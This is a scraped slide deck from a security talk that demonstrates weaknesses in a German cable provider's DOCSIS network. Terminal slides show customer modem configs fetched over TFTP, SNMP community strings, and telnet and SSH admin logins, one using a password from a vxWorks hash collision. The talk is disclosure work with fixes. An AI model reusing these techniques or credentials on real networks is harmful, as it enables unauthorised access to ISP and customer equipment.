129

Click here to load reader

Slides for Beyond Your Cable Modem

Embed Size (px)

Citation preview

Page 1: Slides for Beyond Your Cable Modem

Beyond Your Cable Modem

Having fun in DOCSIS networks

Page 2: Slides for Beyond Your Cable Modem

About me

• Alexander Graf

• KVM / QEMU developer

• … with spare time at night while the baby was crying

Page 3: Slides for Beyond Your Cable Modem

Background

Page 4: Slides for Beyond Your Cable Modem

Background

Page 5: Slides for Beyond Your Cable Modem

Background

Page 6: Slides for Beyond Your Cable Modem

Background

Page 7: Slides for Beyond Your Cable Modem

Background

Page 8: Slides for Beyond Your Cable Modem

Background

cable

Page 9: Slides for Beyond Your Cable Modem

Background

cable

Page 10: Slides for Beyond Your Cable Modem

Background

cable

Page 11: Slides for Beyond Your Cable Modem

Background

cable

Page 12: Slides for Beyond Your Cable Modem

Background

cable

Page 13: Slides for Beyond Your Cable Modem

Background

cable

Page 14: Slides for Beyond Your Cable Modem

Background

cable SIP

Page 15: Slides for Beyond Your Cable Modem

Background

cable SIP

If you know what you’re doing, connect

directly!

Page 16: Slides for Beyond Your Cable Modem
Page 17: Slides for Beyond Your Cable Modem
Page 18: Slides for Beyond Your Cable Modem

CH6640Eroot@KDG:~#

Page 19: Slides for Beyond Your Cable Modem

CH6640Eroot@KDG:~# uname -aLinux KDG 2.6.39.3 #1 PREEMPT Wed Sep 16 20:12:43 CST 2015 armv6b GNU/Linux

Page 20: Slides for Beyond Your Cable Modem

CH6640Eroot@KDG:~# netstat -n -a | grep 5060tcp 0 0 10.236.180.84:5060 0.0.0.0:* LISTENudp 0 0 10.236.180.84:5060 0.0.0.0:*

Page 21: Slides for Beyond Your Cable Modem

CH6640Eroot@KDG:~# ip a[...]9: lan0: [...] link/ether dc:53:7c:0c:59:ae brd ff:ff:ff:ff:ff:ff inet 192.168.100.1/24 brd 192.168.100.255 scope global lan010: wan0: [...] link/ether dc:53:7c:0c:59:ac brd ff:ff:ff:ff:ff:ff inet 10.238.177.112/20 brd 10.238.191.255 scope global wan012: mta0: [...] link/ether dc:53:7c:0c:59:ad brd ff:ff:ff:ff:ff:ff inet 10.236.180.84/20 brd 10.236.191.255 scope global mta0[...]

Page 22: Slides for Beyond Your Cable Modem

CH6640Eroot@KDG:~# ip a[...]9: lan0: [...] link/ether dc:53:7c:0c:59:ae brd ff:ff:ff:ff:ff:ff inet 192.168.100.1/24 brd 192.168.100.255 scope global lan010: wan0: [...] link/ether dc:53:7c:0c:59:ac brd ff:ff:ff:ff:ff:ff inet 10.238.177.112/20 brd 10.238.191.255 scope global wan012: mta0: [...] link/ether dc:53:7c:0c:59:ad brd ff:ff:ff:ff:ff:ff inet 10.236.180.84/20 brd 10.236.191.255 scope global mta0[...]

Page 23: Slides for Beyond Your Cable Modem

CH6640Eroot@KDG:~# ip a[...]9: lan0: [...] link/ether dc:53:7c:0c:59:ae brd ff:ff:ff:ff:ff:ff inet 192.168.100.1/24 brd 192.168.100.255 scope global lan010: wan0: [...] link/ether dc:53:7c:0c:59:ac brd ff:ff:ff:ff:ff:ff inet 10.238.177.112/20 brd 10.238.191.255 scope global wan012: mta0: [...] link/ether dc:53:7c:0c:59:ad brd ff:ff:ff:ff:ff:ff inet 10.236.180.84/20 brd 10.236.191.255 scope global mta0[...]

Page 24: Slides for Beyond Your Cable Modem

CM

cable

Page 25: Slides for Beyond Your Cable Modem

TV cable

CMTSCM backbone

IPcable

Page 26: Slides for Beyond Your Cable Modem

CM backbone

cable

Page 27: Slides for Beyond Your Cable Modem

CM backbone

Internet

cable

Page 28: Slides for Beyond Your Cable Modem

CM backbone

cable VoIP

Internet

Page 29: Slides for Beyond Your Cable Modem

CM backbone

cable

Admin

VoIP

Internet

Page 30: Slides for Beyond Your Cable Modem

cable

Admin

Page 31: Slides for Beyond Your Cable Modem

cable

DHCP

Admin

Page 32: Slides for Beyond Your Cable Modem

cable

DHCP

Admin

Page 33: Slides for Beyond Your Cable Modem

cable

TFTP

DHCP

Admin

Page 34: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SAContract

Page 35: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SAContract

Page 36: Slides for Beyond Your Cable Modem

SAContract Provisioning File

SwUpgradeFilename "CH6640-4.5.0.5-NOSH-TW.NNEMN.p8";

Page 37: Slides for Beyond Your Cable Modem

SAContract Provisioning File

DsServiceFlow { DsServiceFlowRef 2; QosParamSetType 7; MaxRateSustained 53000000; }

UsServiceFlow { UsServiceFlowRef 13; QosParamSetType 7; TrafficPriority 0; MaxRateSustained 2200000; SchedulingType 2; }

Page 38: Slides for Beyond Your Cable Modem

SAContract Provisioning File

root@KDG:~# F=bac113000106dc537c0c59ac tftp -g -l $F -r $F 83.169.186.129root@KDG:~# ls -hs bac113000106dc537c0c59ac8.0K bac113000106dc537c0c59ac

root@KDG:~#

Page 39: Slides for Beyond Your Cable Modem

SAContract Provisioning File

root@KDG:~# F=bac113000106dc537c0c59ac tftp -g -l $F -r $F 83.169.186.129root@KDG:~# ls -hs bac113000106dc537c0c59ac8.0K bac113000106dc537c0c59ac

root@KDG:~# F=bac1130001069cc7a6f62244 tftp -g -l $F -r $F 83.169.186.129root@KDG:~# ls -hs bac1130001069cc7a6f622448.0K bac1130001069cc7a6f62244

Page 40: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SAContract

Page 41: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SAContract

Page 42: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SAContract

Page 43: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SNMP

SAContract

Page 44: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SNMP

SAContract

Page 45: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SNMP

SAContract

Page 46: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SNMP

SAContract

Page 47: Slides for Beyond Your Cable Modem

SAContract Provisioning File

SnmpMibObject docsDevNmAccessIp.1 IPAddress 10.10.2.0; SnmpMibObject docsDevNmAccessIpMask.1 IPAddress 255.255.255.0; SnmpMibObject docsDevNmAccessCommunity.1 String "privateAccess4me"; SnmpMibObject docsDevNmAccessControl.1 Integer 3; /* readWrite */

SnmpMibObject docsDevNmAccessIp.5 IPAddress 10.0.0.0; SnmpMibObject docsDevNmAccessIpMask.5 IPAddress 255.0.0.0; SnmpMibObject docsDevNmAccessCommunity.5 String "publicAccess4me"; SnmpMibObject docsDevNmAccessControl.5 Integer 2; /* read */

Page 48: Slides for Beyond Your Cable Modem

SAContract Provisioning File

SnmpMibObject docsDevNmAccessIp.1 IPAddress 10.10.2.0; SnmpMibObject docsDevNmAccessIpMask.1 IPAddress 255.255.255.0; SnmpMibObject docsDevNmAccessCommunity.1 String "privateAccess4me"; SnmpMibObject docsDevNmAccessControl.1 Integer 3; /* readWrite */

SnmpMibObject docsDevNmAccessIp.5 IPAddress 10.0.0.0; SnmpMibObject docsDevNmAccessIpMask.5 IPAddress 255.0.0.0; SnmpMibObject docsDevNmAccessCommunity.5 String "publicAccess4me"; SnmpMibObject docsDevNmAccessControl.5 Integer 2; /* read */

Page 49: Slides for Beyond Your Cable Modem

SAContract Provisioning File

SnmpMibObject docsDevNmAccessIp.1 IPAddress 10.10.2.0; SnmpMibObject docsDevNmAccessIpMask.1 IPAddress 255.255.255.0; SnmpMibObject docsDevNmAccessCommunity.1 String "privateAccess4me"; SnmpMibObject docsDevNmAccessControl.1 Integer 3; /* readWrite */

SnmpMibObject docsDevNmAccessIp.5 IPAddress 10.0.0.0; SnmpMibObject docsDevNmAccessIpMask.5 IPAddress 255.0.0.0; SnmpMibObject docsDevNmAccessCommunity.5 String "publicAccess4me"; SnmpMibObject docsDevNmAccessControl.5 Integer 2; /* read */

Page 50: Slides for Beyond Your Cable Modem

cable

Admin

cable cable

cable

SAContract

Hannover

Munich

Page 51: Slides for Beyond Your Cable Modem

cable

Admin

cable cable

cable

SNMP

SAContract

Hannover

Munich

Page 52: Slides for Beyond Your Cable Modem

SNMProot@KDG:~# snmpbulkwalk -c publicAccess4me -v 2c 10.238.177.112

Page 53: Slides for Beyond Your Cable Modem

SNMProot@KDG:~# snmpbulkwalk -c publicAccess4me -v 2c 10.238.177.112 SNMPv2-MIB::sysDescr.0 = STRING: PacketCable 2.0 EDVA<<HW_REV: 1.0; VENDOR: Compal Broadband Networks; BOOTR: PSPU-Boot(BBU) 1.0.19.25m1-CBN01; SW_REV: CH6640-4.5.0.5-NOSH; MODEL: CH6640E>>SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.35604.6640.1.0.4.5.0.5DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (100752685) 11 days, 15:52:06.85SNMPv2-MIB::sysContact.0 = STRING: CBN CorpSNMPv2-MIB::sysName.0 = STRING: CH6640ESNMPv2-MIB::sysLocation.0 = STRING: CBN TWSNMPv2-MIB::sysServices.0 = INTEGER: 2[...]

Page 54: Slides for Beyond Your Cable Modem

SNMP

[...]

IP-MIB::ipNetToPhysicalPhysAddress.1.ipv6."2a:02:81:08:80:00:00:06:f0:a2:31:c0:03:f3:86:dd" = STRING: dc:53:7c:c:59:af

[...]

Page 55: Slides for Beyond Your Cable Modem

SNMP

[...]IP-MIB::ipNetToMediaPhysAddress.1.192.168.0.121 = STRING: 64:66:b3:8b:67:efIP-MIB::ipNetToMediaPhysAddress.1.192.168.0.128 = STRING: 24:5:f:62:54:7b[...]

Page 56: Slides for Beyond Your Cable Modem

SNMP

[...]SNMPv2-SMI::mib-2.69.1.4.4.0 = IpAddress: 83.169.186.129SNMPv2-SMI::mib-2.69.1.4.5.0 = STRING: “bac113000106dc537c0c59ac"[...]

SAContract

Page 57: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SNMP

SAContract

Page 58: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SNMP

SAContract

Page 59: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Admin

SNMP

SAContract

Page 60: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Telnet

Admin

SNMP

SAContract

Page 61: Slides for Beyond Your Cable Modem

cable

Admin

cable cable

cable

SNMP

SAContract

Page 62: Slides for Beyond Your Cable Modem

cable

Admin

cable cable

cable

SNMP

SAContract

Telnet

Page 63: Slides for Beyond Your Cable Modem

Telnetroot@KDG:~# telnet 10.235.215.235

CVE-30360 login:

Page 64: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Telnet

Admin

SNMP

SAContract

Page 65: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Telnet

Admin

SNMP

SAContract

Page 66: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Telnet

Admin

SNMP

SAContract

Page 67: Slides for Beyond Your Cable Modem

SAContract Provisioning File

SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";

VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }

Page 68: Slides for Beyond Your Cable Modem

SAContract Provisioning File

SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";

VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }

Page 69: Slides for Beyond Your Cable Modem

Telnetroot@KDG:~# telnet 10.235.215.235

CVE-30360 login:

Page 70: Slides for Beyond Your Cable Modem

Telnetroot@KDG:~# telnet 10.235.215.235

CVE-30360 login: msoadminPassword: Egj1nQ>>>Console, CLI version 1.0.0.5Type 'help' for list of commandsmainMenu>

Page 71: Slides for Beyond Your Cable Modem

Telnetroot@KDG:~# telnet 10.235.215.235

CVE-30360 login: msoadminPassword: Egj1nQ>>>Console, CLI version 1.0.0.5Type 'help' for list of commandsmainMenu> helpConsole Commands for this level: system - Go to system Menu. docsis - Go to DOCSIS Menu.[...]

Page 72: Slides for Beyond Your Cable Modem

TelnetmainMenu> shellPassword:Egj1nQ

Exiting to shell. Type "exit" to return back to CLI

BusyBox v1.19.2 (2014-08-13 18:50:22 CST) built-in shell (ash)Enter 'help' for a list of built-in commands.

#

Page 73: Slides for Beyond Your Cable Modem

Telnet

= = = = ...

Page 74: Slides for Beyond Your Cable Modem

Admin

cable cable

cable

Telnet

cable

Page 75: Slides for Beyond Your Cable Modem

Admin

cable cable

cable

Telnet✗

Page 76: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Telnet

Admin

SNMP

SAContract

Page 77: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

Telnet

Admin

SNMP

SAContract

Page 78: Slides for Beyond Your Cable Modem

CM backbone

cable

Admin

VoIP

Internet

Page 79: Slides for Beyond Your Cable Modem

cable

VoIP

Page 80: Slides for Beyond Your Cable Modem

DHCP

cable

VoIP

Page 81: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SAContract

VoIP

Page 82: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

Page 83: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

SIP

Page 84: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

SIP

Page 85: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

SIP

Page 86: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

SIP

Page 87: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

SIP

Page 88: Slides for Beyond Your Cable Modem

SAContract Provisioning File

SnmpMibObject clabProjPacketCable.10.3.1.1.2.1.2.1 String "technik.kabel-deutschland.de"; SnmpMibObject clabProjPacketCable.10.3.1.1.4.1.3.1.1 String "f-brei-ca181-access-cable-srv.technik.kabel-deutschland.de"; SnmpMibObject clabProjPacketCable.10.4.1.1.3.1.3.1 String "20145XXXX_KAV_1"; SnmpMibObject clabProjPacketCable.10.4.1.1.3.1.5.1 String "cg_qv,*AEBsMVB)3aXXXXXXXXX"; SnmpMibObject clabProjPacketCable.10.4.1.1.2.1.3.1 String "[email protected]";

Page 89: Slides for Beyond Your Cable Modem

cable

SAContract

SIP

+49 30 3333

Page 90: Slides for Beyond Your Cable Modem

cable

SAContract

SIP

cable

SAContract

+49 30 3333

Page 91: Slides for Beyond Your Cable Modem

cable

SAContract

SIP

cable

SAContract

+49 30 3333

Page 92: Slides for Beyond Your Cable Modem

cable

SAContract

SIP

cable

SAContract

+49 30 3333 +49 30 3333

Page 93: Slides for Beyond Your Cable Modem

SIP

cable

SAContract

SIP

cable

SAContract

+49 30 3333 +49 30 3333

Page 94: Slides for Beyond Your Cable Modem

SIPcable

SAContract

SIP

cable

SAContract

+49 30 3333 +49 30 3333

Page 95: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

SIP

Page 96: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable

SNMP

SAContract

VoIP

SIP

Page 97: Slides for Beyond Your Cable Modem

Fixing It

Page 98: Slides for Beyond Your Cable Modem

Fixing It

Page 99: Slides for Beyond Your Cable Modem

Fixing It

Page 100: Slides for Beyond Your Cable Modem

Fixing It

Page 101: Slides for Beyond Your Cable Modem

Fixing It

Page 102: Slides for Beyond Your Cable Modem

Fixing It

Page 103: Slides for Beyond Your Cable Modem

cable

Telnet

Admin

SAContract

Page 104: Slides for Beyond Your Cable Modem

cable

SSH

Admin

SAContract

Page 105: Slides for Beyond Your Cable Modem

SAContract SSH

SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";

VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }

Page 106: Slides for Beyond Your Cable Modem

SAContract SSH

SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";

VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }

Page 107: Slides for Beyond Your Cable Modem

SSH

RQzzR99ycc

password

vxWorks Hash

Page 108: Slides for Beyond Your Cable Modem

SSH

RQzzR99ycc

password

checksum[0x380 .. 0x12580]

vxWorks Hash

stringify

Page 109: Slides for Beyond Your Cable Modem

SSH

RQzzR99ycc

!"!#zzzw

vxWorks Hash

Collision

Page 110: Slides for Beyond Your Cable Modem

SSHroot@KDG:~# ssh [email protected]@10.238.177.112's password:

Page 111: Slides for Beyond Your Cable Modem

SSHroot@KDG:~# ssh [email protected]@10.238.177.112's password: !"!#zzzw

>>>Console, CLI version 1.0.0.5Type 'help' for list of commands

MAIN>

Page 112: Slides for Beyond Your Cable Modem

cable

Admin

SAContract

SSH

Page 113: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 114: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 115: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 116: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 117: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 118: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 119: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 120: Slides for Beyond Your Cable Modem

TFTP

DHCP

cable SNMP

SIP

SSH

Fixing It

Page 121: Slides for Beyond Your Cable Modem

Conclusions

• Guard your networks!

• Don’t trust devices customers can physically access

• Don’t trust devices ISPs hand out

• The press is your friend

Page 122: Slides for Beyond Your Cable Modem

Conspiracy

• Unlikely

• Looked more like “no security is easier”

Page 123: Slides for Beyond Your Cable Modem

Other Providers

• I don’t know, my cable wasn’t long enough

Page 124: Slides for Beyond Your Cable Modem

Disclaimer

• No animals were hurt

• Passwords were changed for the sake of §202c

• To my best knowledge, the KDG network is now secure enough to make the information above useless for attacks

Page 125: Slides for Beyond Your Cable Modem

Thank You

Page 126: Slides for Beyond Your Cable Modem
Page 127: Slides for Beyond Your Cable Modem

OSA Icons

Icons received from http://www.opensecurityarchitecture.org/cms/library/icon-library

Page 128: Slides for Beyond Your Cable Modem

emojione Icons

Icons received from http://www.opensecurityarchitecture.org/cms/library/icon-library

Page 129: Slides for Beyond Your Cable Modem

Other Icons

https://www.iconfinder.com/icons/22281/commandline_prompt_shell_terminal_icon#size=128

https://www.wisc-online.com/asset-repository/category?CategoryId=12

http://www.openclipart.org